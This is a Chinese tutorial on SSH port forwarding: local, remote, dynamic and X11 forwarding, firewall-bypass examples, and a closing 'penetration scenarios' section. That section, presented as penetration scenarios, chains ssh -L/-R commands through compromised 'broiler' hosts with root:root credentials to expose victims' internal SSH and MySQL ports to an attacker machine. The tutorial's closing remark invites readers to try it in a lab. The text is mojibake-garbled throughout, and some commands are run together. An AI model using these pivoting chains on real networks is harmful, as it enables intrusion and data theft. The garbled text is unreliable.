SSH端口轉(zhuǎn)發(fā)情景模擬
SSH會(huì)自動(dòng)加密和解密所有SSH客戶端與服務(wù)端之間的網(wǎng)絡(luò)數(shù)據(jù)。這一過(guò)程有時(shí)也被叫做“隧道”(tunneling),這是因?yàn)镾SH為其他TCP鏈接提供了一個(gè)安全的通道來(lái)進(jìn)行傳輸而得名。例如,Telnet,SMTP,LDAP這些TCP應(yīng)用均能夠從中得益,避免了用戶名,密碼以及隱私信息的明文傳輸。而與此同時(shí),如果您工作環(huán)境中的防火墻限制了一些網(wǎng)絡(luò)端口的使用,但是允許SSH的連接,那么也能夠通過(guò)將 TCP 端口轉(zhuǎn)發(fā)來(lái)使用 SSH 進(jìn)行通訊。
(一)概述
SSH端口轉(zhuǎn)發(fā)能夠?qū)⑵渌鸗CP端口的網(wǎng)絡(luò)數(shù)據(jù)通過(guò)SSH鏈接來(lái)轉(zhuǎn)發(fā),并且自動(dòng)提供了相應(yīng)的加密及解密服務(wù)。
(二)功能
1、加密SSH Client端至SSH Server端之間的通訊數(shù)據(jù)。
2、突破防火墻的限制完成一些之前無(wú)法建立的TCP連接。
(三) 方式
共有四種方式,分別為本地轉(zhuǎn)發(fā),遠(yuǎn)程轉(zhuǎn)發(fā),動(dòng)態(tài)轉(zhuǎn)發(fā),X協(xié)議轉(zhuǎn)發(fā)
1. 本地端口轉(zhuǎn)發(fā)
SSH連接和應(yīng)用的連接這兩個(gè)連接的方向一致
ssh -L [
將本地機(jī)(客戶機(jī))的某個(gè)端口轉(zhuǎn)發(fā)到遠(yuǎn)端指定機(jī)器的指定端口;本地端口轉(zhuǎn)發(fā)是在localhost上監(jiān)聽(tīng)一個(gè)端口,所有訪問(wèn)這個(gè)端口的數(shù)據(jù)都會(huì)通過(guò)ssh 隧道傳輸?shù)竭h(yuǎn)端的對(duì)應(yīng)端口。
如下:
- localhost: ssh -L 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機(jī)端口監(jiān)聽(tīng)狀態(tài):
登陸后本地主機(jī)端口監(jiān)聽(tīng)狀態(tài):
登陸后遠(yuǎn)程主機(jī)不會(huì)監(jiān)聽(tīng)端口。
小結(jié):本地端口轉(zhuǎn)發(fā)的時(shí)候,本地的ssh在監(jiān)聽(tīng)7001端口。
2. 遠(yuǎn)程端口轉(zhuǎn)發(fā)
SSH連接和應(yīng)用的連接這兩個(gè)連接的方向相反
ssh -R [
將遠(yuǎn)程主機(jī)(服務(wù)器)的某個(gè)端口轉(zhuǎn)發(fā)到本地端指定機(jī)器的指定端口;遠(yuǎn)程端口轉(zhuǎn)發(fā)是在遠(yuǎn)程主機(jī)上監(jiān)聽(tīng)一個(gè)端口,所有訪問(wèn)遠(yuǎn)程服務(wù)器的指定端口的數(shù)據(jù)都會(huì)通過(guò)ssh 隧道傳輸?shù)奖镜氐膶?duì)應(yīng)端口。
如下:
- localhost: ssh -R 7001:localhost:7070 sisca@216.194.70.6
登陸前本地主機(jī)端口監(jiān)聽(tīng)狀態(tài):
登陸后本地主機(jī)端口監(jiān)聽(tīng)狀態(tài):
登陸后遠(yuǎn)程主機(jī)端口監(jiān)聽(tīng)狀態(tài):
小結(jié):使用遠(yuǎn)程端口轉(zhuǎn)發(fā)時(shí),本地主機(jī)的端口監(jiān)聽(tīng)并沒(méi)有發(fā)生變化,相反遠(yuǎn)程主機(jī)卻開(kāi)始監(jiān)聽(tīng)我們指定的7001端口。
3. 動(dòng)態(tài)端口轉(zhuǎn)發(fā)
把遠(yuǎn)端ssh服務(wù)器當(dāng)作了一個(gè)安全的代理服務(wù)器
ssh -D [
建立一個(gè)動(dòng)態(tài)的SOCKS4/5的代理通道,緊接著的是本地監(jiān)聽(tīng)的端口號(hào);動(dòng)態(tài)端口轉(zhuǎn)發(fā)是建立一個(gè)ssh加密的SOCKS4/5代理通道,任何支持SOCKS4/5協(xié)議的程序都可以使用這個(gè)加密的通道來(lái)進(jìn)行代理訪問(wèn),現(xiàn)在這種方法最常用的地方就是翻墻。
如下:
- localhost: ssh -D 7070 sisca@216.194.70.6
登陸前本地主機(jī)端口監(jiān)聽(tīng)狀態(tài):
登陸后本地主機(jī)端口監(jiān)聽(tīng)狀態(tài):
小結(jié):使用動(dòng)態(tài)端口轉(zhuǎn)發(fā)時(shí),本地主機(jī)的ssh進(jìn)程在監(jiān)聽(tīng)指定的7070端口。
4. X協(xié)議轉(zhuǎn)發(fā)
把遠(yuǎn)端ssh服務(wù)器當(dāng)作了一個(gè)安全的代理服務(wù)器。
- ssh -X <SSH hostname>
如,我們可能會(huì)經(jīng)常會(huì)遠(yuǎn)程登錄到 Linux/Unix/Solaris/HP等機(jī)器上去做一些開(kāi)發(fā)或者維護(hù),也經(jīng)常需要以GUI方式運(yùn)行一些程序,比如要求圖形化界面來(lái)安裝 DB2/WebSphere 等等。這時(shí)候通常有兩種選擇來(lái)實(shí)現(xiàn):VNC或者X窗口,讓我們來(lái)看看后者。一個(gè)比較常見(jiàn)的場(chǎng)景是,我們的本地機(jī)器是Windows操作系統(tǒng),這時(shí)可以選擇開(kāi)源的XMing來(lái)作為我們的XServer,而SSH Client則可以任意選擇了,例如PuTTY,Cygwin均可以配置訪問(wèn)SSH的同時(shí)建立X轉(zhuǎn)發(fā)。
SSH端口轉(zhuǎn)發(fā)除上述四個(gè)代表不同工作方式的參數(shù)外還有一些附屬參數(shù):
- -C:壓縮數(shù)據(jù)傳輸
- -N:不執(zhí)行腳本或命令,通常與-f連用
- -f:后臺(tái)認(rèn)證用戶/密碼,通常與-N連用,不用登陸到遠(yuǎn)程主機(jī),如果通過(guò)其他程序控制隧道連接,應(yīng)當(dāng)避免將SSH客戶端放到后臺(tái)執(zhí)行,也就是去掉-f參數(shù)。
- -g:在-L/-D/-R參數(shù)中,允許遠(yuǎn)程主機(jī)連接到建立的轉(zhuǎn)發(fā)端口,如果不加這個(gè)參數(shù),只允許本地主機(jī)建立連接。
四、場(chǎng)景模擬
場(chǎng)景一:將本機(jī)的80端口轉(zhuǎn)發(fā)到174.139.9.66的8080端口
- ssh -C –f –g –N –L 80:174.139.9.66:8080master@174.139.9.66
接著會(huì)提示輸入master的密碼,或使用-pw參數(shù)完成
場(chǎng)景二:一次同時(shí)映射多個(gè)端口
Ssh -L8888:www.host.com:80 -L 110:mail.host.com:110 -L 25:mail.host.com:25 user@host,同時(shí)把服務(wù)器(www.host.com)的80,110,25端口映射到本機(jī)的8888,110和25端口
場(chǎng)景三:A內(nèi)網(wǎng)主機(jī)能放問(wèn)公網(wǎng)的123.123.123.123的22端口,但是不能訪問(wèn)公網(wǎng)234.234.234.234的21端口,但是這兩臺(tái)公網(wǎng)主機(jī)能互訪。
A主機(jī):ssh -CNfg –L 2121:234.234.234.234:21–pw abc123 user@123.123.123.123 ;然后A主機(jī):ftp://localhost:2121
前提是獲取123.123.123.123的22端口賬號(hào)口令(普通和root口令均可以,區(qū)別是轉(zhuǎn)發(fā)的端口問(wèn)題)
場(chǎng)景四:A內(nèi)網(wǎng)主機(jī)能放問(wèn)公網(wǎng)的123.123.123.123的22端口,但是公網(wǎng)B主機(jī)123.123.123.123不能訪問(wèn)內(nèi)網(wǎng)的A主機(jī)。
A主機(jī):ssh -CNfg –R 2222:127.0.0.1:22–pw abc123 user@123.123.123.123;B主機(jī):ssh 127.0.0.1 –p 2222
前提是B主機(jī)開(kāi)放22端口,賬號(hào)口令(自建ssh服務(wù)器,或用肉雞),灰鴿子木馬用的也是反向鏈接,Destination (LAN_ip) <- |NAT| <- Source (home_ip)
場(chǎng)景五:A內(nèi)網(wǎng)主機(jī)只能訪問(wèn)公網(wǎng)的123.123.123.123,但是A如果想訪問(wèn)公網(wǎng)的很多資源。
A主機(jī):ssh -CNf –D 1080 –pwabc123 user@123.123.123.123;A主機(jī)瀏覽器socks 5 proxy設(shè)置為localhost:8888,所有之前無(wú)法訪問(wèn)的網(wǎng)站現(xiàn)在都可以訪問(wèn)。
場(chǎng)景六:A內(nèi)網(wǎng)主機(jī)開(kāi)了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務(wù),無(wú)合法ip 地址;外網(wǎng)主機(jī)B(123.123.123.123),開(kāi)了sshd 服務(wù),有合法 ip ;我們的目的是讓 internet 上的任何主機(jī)能訪問(wèn)A上的各種服務(wù)。
B主機(jī):sshd服務(wù)端做點(diǎn)小小的設(shè)置:vi /etc/ssh/sshd.config加入 GatewayPorts yes,然后重啟sshd服務(wù):/etc /init.d/ssh restart 或 /etc/init.d/sshd restart或使用-g參數(shù)
A主機(jī):ssh -CNf –R21:127.0.0.1:21 –pw abc123 user@123.123.123.123
公網(wǎng)其它主機(jī):ftp://123.123.123.123:21
場(chǎng)景七:A內(nèi)網(wǎng)主機(jī)開(kāi)了http、ftp、vnc(5901)、sshd、socks5(1080)、cvs(2401)等服務(wù),無(wú)合法ip 地址;外網(wǎng)主機(jī) B(123.123.123.123) 開(kāi)了sshd 服務(wù),有合法 ip ;我們的目的是讓 internet 上的任何主機(jī)能訪問(wèn) A 上的各種服務(wù)。
A主機(jī):ssh -CN –R1234:127.0.0.1:80 –pw abc123 user@123.123.123.123
B主機(jī):socattcp-listen:80,reuseaddr,fork tcp:localhost:1234
公網(wǎng)其它主機(jī):http://123.123.123.123:80,此時(shí)就是訪問(wèn)內(nèi)網(wǎng)主機(jī)的80端口
場(chǎng)景八:PuTTY自帶的plink.exe實(shí)現(xiàn)ssh代理
- PLINK.EXE-C -N -D 127.0.0.1:7000 est@202.115.22.x[:21314]
- ssh -CfNg -D127.0.0.1:7000 est@202.115.22.x:21314
五、滲透情景模擬
- A為攻擊主機(jī),開(kāi)啟的ssh服務(wù)
- B為web/應(yīng)用/數(shù)據(jù)庫(kù)服務(wù)器,開(kāi)啟22/80/3306端口
- D為肉雞,開(kāi)啟22端口
情景一:
方法一:socks5代理
A: ssh –D 8080 root@B_IP –pw root
方法二:本地端口轉(zhuǎn)發(fā)(B的3306端口)
A:ssh –L 3306:B_IP:3306 –pw root root@B_IP
方法三:遠(yuǎn)程端口轉(zhuǎn)發(fā)
B: ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景二:
方法一:socks5代理
A:ssh -D 8080 root@A_IP –pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
方法二:遠(yuǎn)程端口轉(zhuǎn)發(fā)(將3306端口轉(zhuǎn)發(fā))
B:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
情景三:
方法一:socks5代理
A:ssh -D 8080 root@A_IP -pw root
B:ssh -R 8080:127.0.0.1:8080 –pw root root@A_IP
方法二:遠(yuǎn)程端口轉(zhuǎn)發(fā)(將3306端口轉(zhuǎn)發(fā))
B:ssh -R 3306:C_IP:3306 -pw root root@A_IP
法三:
B:ssh –L 1234:C_IP:3306 –pw root root@C_IP
B:ssh –R 3306:127.0.0.1:1234 –pw root root@A_IP
情景四:
(一)
22端口轉(zhuǎn)發(fā)
- A: ssh –L 2222:B_IP:22 –pw root root@D_IP
3306端口轉(zhuǎn)發(fā)
- D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
- A: ssh -L 3306:D_IP:3306–pw root root@D_IP
(二)
22端口轉(zhuǎn)發(fā)
- B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
- A:ssh –L 2222:D_IP:2222 –pw root root@D_IP
3306端口轉(zhuǎn)發(fā)
- B: ssh –L 3306:127.0.0.1:3306 –pw root root@D_IP
- A: ssh -L 3306:D_IP:3306–pw root root@D_IP
(三)
22端口轉(zhuǎn)發(fā)
- B:ssh –R 2222:127.0.0.1:22 –pw root root@D_IP
- D:ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306端口轉(zhuǎn)發(fā)
- B: ssh –R 3306:127.0.0.1:3306 –pw root root@D_IP
- D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
(四)
22端口轉(zhuǎn)發(fā)
- D: ssh –L 2222:B_IP:22 –pw root root@B_IP
- D: ssh –R 2222:127.0.0.1:2222 –pw root root@A_IP
3306端口轉(zhuǎn)發(fā)
- D: ssh –L 3306:B_IP:3306 –pw root root@B_IP
- D: ssh -R3306:127.0.0.1:3306 –pw root root@A_IP
情景五:
(一)
將C的3306端口轉(zhuǎn)發(fā)出來(lái)
- D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
- A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
(二)
將C的3306端口轉(zhuǎn)發(fā)出來(lái)
- B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
- A:ssh –L 3306:D_IP:3306 –pw root root@D_IP
(三)
將C的3306端口轉(zhuǎn)發(fā)出來(lái)
- B:ssh –R 3306:C_IP:3306 –pw root root@D_IP
- D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
(四)
將C的3306端口轉(zhuǎn)發(fā)出來(lái)
- D:ssh –L 3306:C_IP:3306 –pw root root@B_IP
- D:ssh –R 3306:127.0.0.1:3306 –pw root root@A_IP
通過(guò)將TCP連接轉(zhuǎn)發(fā)到SSH通道上以解決數(shù)據(jù)加密以及突破防火墻的種種限制。對(duì)一些已知端口號(hào)的應(yīng)用,例如Telnet/LDAP/SMTP,我們可以使用本地端口轉(zhuǎn)發(fā)或者遠(yuǎn)程端口轉(zhuǎn)發(fā)來(lái)達(dá)到目的。動(dòng)態(tài)端口轉(zhuǎn)發(fā)則可以實(shí)現(xiàn)SOCKS代理從而加密以及突破防火墻對(duì)Web瀏覽的限制。當(dāng)然,端口轉(zhuǎn)發(fā)還有很多好用的工具供大家選擇。本文參考了網(wǎng)上之前的文章,并加入了自己的理解,感興趣的話可以搞個(gè)環(huán)境實(shí)驗(yàn)下,如有問(wèn)題,希望各位批評(píng)指正。